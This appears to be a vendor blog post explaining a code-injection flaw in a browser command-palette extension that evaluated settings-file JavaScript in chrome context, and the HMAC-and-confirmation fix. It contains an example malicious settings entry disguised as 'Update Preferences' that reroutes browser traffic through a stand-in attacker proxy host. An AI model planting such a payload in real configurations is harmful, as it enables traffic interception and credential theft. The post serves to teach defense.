Back to Blog
critical SEVERITY9 min read

How Unsafe eval() in Browser Chrome Context Happens in JavaScript and How to Fix It

A critical code injection vulnerability in `command-palette/dynamic-commands.js` allowed arbitrary JavaScript to execute in the browser's privileged chrome context by passing unsanitized code from a user-controlled settings file directly into `Cu.evalInSandbox()`. The fix introduces an HMAC-based trust system that cryptographically hashes each custom command's code and requires explicit user approval before execution. This prevents attackers who can write to the settings file from silently injec

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a Code Injection vulnerability (CWE-94) in JavaScript, specifically in the `generateCustomCommands()` function of `command-palette/dynamic-commands.js`. The `cmd.code` field from a user-controlled JSON settings file was passed directly to `Cu.evalInSandbox()` with `wantXrays: false` and `sandboxPrototype: window`, enabling arbitrary script execution in the browser chrome context. The fix adds an HMAC-based approval workflow: each code snippet is hashed with `hmacCode()`, checked against a persisted allowlist via `loadApprovedHashes()`, and — if not previously approved — shown to the user in a confirmation dialog before execution. This ensures only explicitly trusted code snippets can run.

Vulnerability at a Glance

cweCWE-94 (Improper Control of Generation of Code)
fixHMAC-based code hashing and an explicit user-approval allowlist before any dynamic code execution
riskArbitrary JavaScript execution with full window object access in privileged browser context
languageJavaScript (Browser Chrome / Mozilla Extension)
root causecmd.code from a user-controlled JSON settings file passed directly to Cu.evalInSandbox() without validation or approval
vulnerabilityCode Injection via unsafe eval() in browser chrome context

How Unsafe eval() in Browser Chrome Context Happens in JavaScript and How to Fix It

Introduction

The command-palette/dynamic-commands.js file is responsible for loading and executing user-defined custom commands in a browser extension's command palette. It reads command definitions — including raw JavaScript code — from a settings JSON file, then executes them on demand. That sounds powerful and flexible. It is. It is also exactly the kind of feature that becomes a critical security vulnerability the moment the settings file can be written by anyone other than a fully trusted source.

At line 390 of dynamic-commands.js, the generateCustomCommands() function passed cmd.code — a string read directly from a JSON file on disk — into Cu.evalInSandbox() with wantXrays: false and sandboxPrototype: window. No validation. No hash check. No user confirmation. Any attacker who could write a single JSON file to the user's profile directory could execute arbitrary JavaScript in the browser's privileged chrome context.

This post walks through exactly how that happened, how it was fixed, and what every developer building plugin or scripting systems should take away from it.


The Vulnerability Explained

What the Code Was Doing

Inside generateCustomCommands(), commands of type 'js' were handled like this (simplified from the pre-fix code):

// VULNERABLE — before the fix
if (cmd.type === "js") {
  commandFunc = async () => {
    try {
      Cu.evalInSandbox(
        cmd.code,           // <-- raw string from settings JSON
        sandbox,
        "latest",
        "custom-command",
        1,
        { wantXrays: false, sandboxPrototype: window }  // full window access
      );
    } catch (e) {
      showToast(`Error: ${e.message}`);
    }
  };
}

cmd.code comes from Storage.loadSettings(), which reads a JSON file at the path configured by the zen-command-palette.settings-file-path preference (defaulting to chrome/zen-commands-settings.json). That file is a plain text file on disk — no cryptographic signature, no integrity check.

Why Cu.evalInSandbox() with These Options Is Dangerous

Cu.evalInSandbox() is a Mozilla-specific API used in browser chrome code to execute JavaScript in a controlled compartment. The key problem here is the options object:

{ wantXrays: false, sandboxPrototype: window }
  • sandboxPrototype: window — The sandbox inherits from the chrome window object, giving executed code access to the full browser window API, including tabs, preferences, native file I/O bridges, and more.
  • wantXrays: false — Disables X-ray vision, meaning the injected code sees the real underlying objects rather than safe wrappers. This removes a key layer of Mozilla's security architecture.

This is not a safe sandbox. It is the browser's most privileged execution environment with the guardrails turned off.

The Attack Scenario

Here is a concrete, step-by-step attack against this specific code:

  1. Attacker gains write access to chrome/zen-commands-settings.json — this could be a malicious npm package, a compromised local application, a symlink attack, or simply a social-engineering trick ("paste this config to unlock features").

  2. Attacker injects a malicious command entry into the settings JSON:

{
  "commands": [
    {
      "name": "Update Preferences",
      "type": "js",
      "code": "const {Services} = ChromeUtils.import('resource://gre/modules/Services.jsm'); Services.prefs.setCharPref('network.proxy.http', 'evil.example.com'); Services.prefs.setIntPref('network.proxy.http_port', 8080);"
    }
  ]
}
  1. User opens the command palette and sees a command named "Update Preferences" — it looks like a legitimate built-in command.

  2. User activates the command. generateCustomCommands() reads cmd.code from the JSON and passes it verbatim to Cu.evalInSandbox().

  3. The injected code runs in the chrome context, silently reconfiguring the browser's network proxy to route all traffic through an attacker-controlled server. From there, the attacker can intercept credentials, inject content into web pages, or pivot further.

The same technique could be used to exfiltrate browser-stored passwords, install a persistent backdoor via userChrome.js, or disable security preferences — all without any user-visible warning.

Why This Matters Beyond This Repository

This pattern — "load code from a config file and eval it" — appears in countless plugin systems, scripting engines, and developer tools. The vulnerability is not unique to this codebase; it is a recurring architectural mistake. The lesson here applies to VS Code extensions, Electron apps, browser extensions, and any Node.js application that supports user-defined scripts.


The Fix

What Changed

The fix introduces a cryptographic approval workflow using three new utility functions imported from ./utils/trust.js:

import { hmacCode, loadApprovedHashes, trustHash } from "./utils/trust.js";

Inside the commandFunc for 'js' type commands, the execution path now looks like this:

// FIXED — after the patch
if (cmd.type === "js") {
  commandFunc = async () => {
    try {
      const approvedHashes = await loadApprovedHashes();
      const codeHash = await hmacCode(cmd.code);

      if (!approvedHashes[codeHash]) {
        const preview = cmd.code.length > 200
          ? cmd.code.slice(0, 200) + "…"
          : cmd.code;
        const approved = window.confirm(
          `Run custom JS command "${cmd.name}"?\n\n` +
          `This will execute the following JavaScript in the browser:\n\n` +
          preview
        );
        // ... if approved, call trustHash(codeHash) to persist approval
      }
      // only reaches Cu.evalInSandbox() if hash is approved
    } catch (e) {
      showToast(`Error: ${e.message}`);
    }
  };
}

Before vs. After

Aspect Before After
Input validation None HMAC hash checked against allowlist
User awareness Silent execution Explicit confirmation dialog with code preview
Persistence N/A Approved hashes stored via trustHash()
Attack surface Any writable JSON file Requires user interaction per unique code snippet

How Each Part of the Fix Contributes

hmacCode(cmd.code) — Computes an HMAC of the raw code string. HMAC (Hash-based Message Authentication Code) produces a fixed-length digest that is unique to the exact byte sequence of the code. If an attacker modifies even one character of a previously approved command, the hash changes and re-approval is required.

loadApprovedHashes() — Loads a persisted map of previously approved HMAC digests. This means users only see the confirmation dialog once per unique code snippet — legitimate commands are not repeatedly interrupted.

window.confirm() with code preview — If the hash is not in the approved set, the user sees a dialog showing the command name and the first 200 characters of the code. This is a meaningful security boundary: a silent attacker injection is now surfaced as an explicit, visible prompt that a security-conscious user can reject.

trustHash(codeHash) — Persists the approval so subsequent invocations of the same code do not require re-confirmation.

This is a defense-in-depth approach. Even if an attacker writes to the settings file, the injected code cannot execute without the user explicitly approving it through a dialog that shows them what they are about to run.


Key Takeaways

  • Cu.evalInSandbox() with sandboxPrototype: window and wantXrays: false is not a sandbox — it is the browser's most privileged execution context with safety features disabled. Never pass unvalidated external data into it.
  • Settings files on disk are attack surfaces. The path chrome/zen-commands-settings.json is writable by any process running as the current user. Treat its contents as untrusted input, not as trusted configuration.
  • HMAC hashing + user approval is a pragmatic middle ground when eval() cannot be eliminated. It ensures users see and explicitly consent to what code will run, and that previously approved code cannot be silently swapped out.
  • The 200-character preview in the confirmation dialog matters. Showing users the actual code — not just the command name — prevents social engineering attacks where a malicious command is given a benign-sounding name like "Update Preferences."
  • Importing trust utilities (hmacCode, loadApprovedHashes, trustHash) as a module means the approval logic is centralized and testable, rather than duplicated inline wherever dynamic code execution occurs.

How Orbis AppSec Detected This

  • Source: cmd.code field loaded from Storage.loadSettings(), which reads a user-controlled JSON file at the path specified by the zen-command-palette.settings-file-path preference.
  • Sink: Cu.evalInSandbox(cmd.code, sandbox, "latest", "custom-command", 1, { wantXrays: false, sandboxPrototype: window }) at command-palette/dynamic-commands.js:390.
  • Missing control: No hash verification, no signature check, no user confirmation, and no validation of the cmd.code field before passing it to the privileged execution API.
  • CWE: CWE-94 — Improper Control of Generation of Code ('Code Injection').
  • Fix: An HMAC digest of each code snippet is computed via hmacCode(), checked against a persisted allowlist via loadApprovedHashes(), and — if not previously approved — presented to the user in an explicit confirmation dialog before Cu.evalInSandbox() is invoked.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The generateCustomCommands() vulnerability in dynamic-commands.js is a textbook example of how a genuinely useful feature — user-defined scripting — becomes a critical security hole when the code being executed is not treated as untrusted input. The browser chrome context is one of the most privileged execution environments in a desktop system. Passing arbitrary strings from a writable JSON file into it, silently and without user awareness, is equivalent to offering any local process a root shell.

The HMAC-based approval fix is elegant because it does not remove the feature. Users can still write and run custom JavaScript commands. What they can no longer do — and what attackers can no longer exploit — is have code run silently without the user's knowledge and explicit consent. Every developer building a plugin or scripting system should apply the same principle: make the execution of dynamic code a visible, auditable, and user-confirmed action, not a silent side effect of loading a configuration file.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #92

Related Articles

critical

LDAP Filter Injection in da_unique_email_validator Fixed

The registration-time email uniqueness validator, `da_unique_email_validator`, formatted the submitted email address straight into an LDAP search filter with Python's `%` operator, so filter metacharacters in the email were interpreted as filter syntax. The fix wraps the value in `ldap.filter.escape_filter_chars()` (and imports the `ldap.filter` submodule explicitly), so a submitted address is always treated as a literal attribute value. Any deployment with `ldap login` enabled and a bind accoun

high

installPlugin(): Unvalidated npm Package Names Reach npm install

A plugin manager service exposed an `installPlugin(plugin: PluginInfo)` method that passed `plugin.packageName` and `plugin.version` straight into the platform's npm install routine with no validation, no blocklist, and no integrity verification of the fetched tarball. Because npm treats a non-semver "version" as a fetch specifier — a tarball URL, a git ref, a local path — an attacker who could influence the plugin listing could get arbitrary code installed and executed with full Electron/Node p

critical

deleteNestedProperty Prototype Pollution via Dot-Notation Path

The `deleteNestedProperty` function in propertyUtils.ts allowed attackers to manipulate JavaScript object prototypes by passing specially crafted dot-notation paths like `__proto__.polluted`. A fix now blocks dangerous keys before processing, preventing prototype pollution attacks that could affect all objects in the application.

critical

eval() in Async Function Constructor Enables Runtime Escape

The eval.mjs command handler used raw `eval()` to execute JavaScript expressions, creating a critical code injection path if owner credentials are compromised. The fix replaces `eval()` with the `AsyncFunction` constructor and explicitly shadows `process`, `require`, and other runtime globals as parameters, preventing evaluated code from reaching the Node.js runtime even when authentication boundaries fail.

high

How Regular Expression Denial of Service (ReDoS) Happens in Node.js trim-newlines and How to Fix It

CVE-2021-33623 exposed a Regular Expression Denial of Service (ReDoS) vulnerability in the npm package `trim-newlines` versions 1.0.0 and earlier. The vulnerable `.end()` method used an inefficient regex pattern that could cause severe performance degradation when processing malicious input. Upgrading to version 4.0.1 patches the regex implementation and eliminates the attack surface.

critical

How CSS Injection via Weak Pattern Validation happens in Vue.js and how to fix it

A critical CSS injection vulnerability in `testpage/App.vue` allowed attackers to bypass weak HTML5 pattern validation and load malicious stylesheets. The fix replaces direct variable assignment with a hardened `setCustomStylesheetHref()` method using strict regex validation.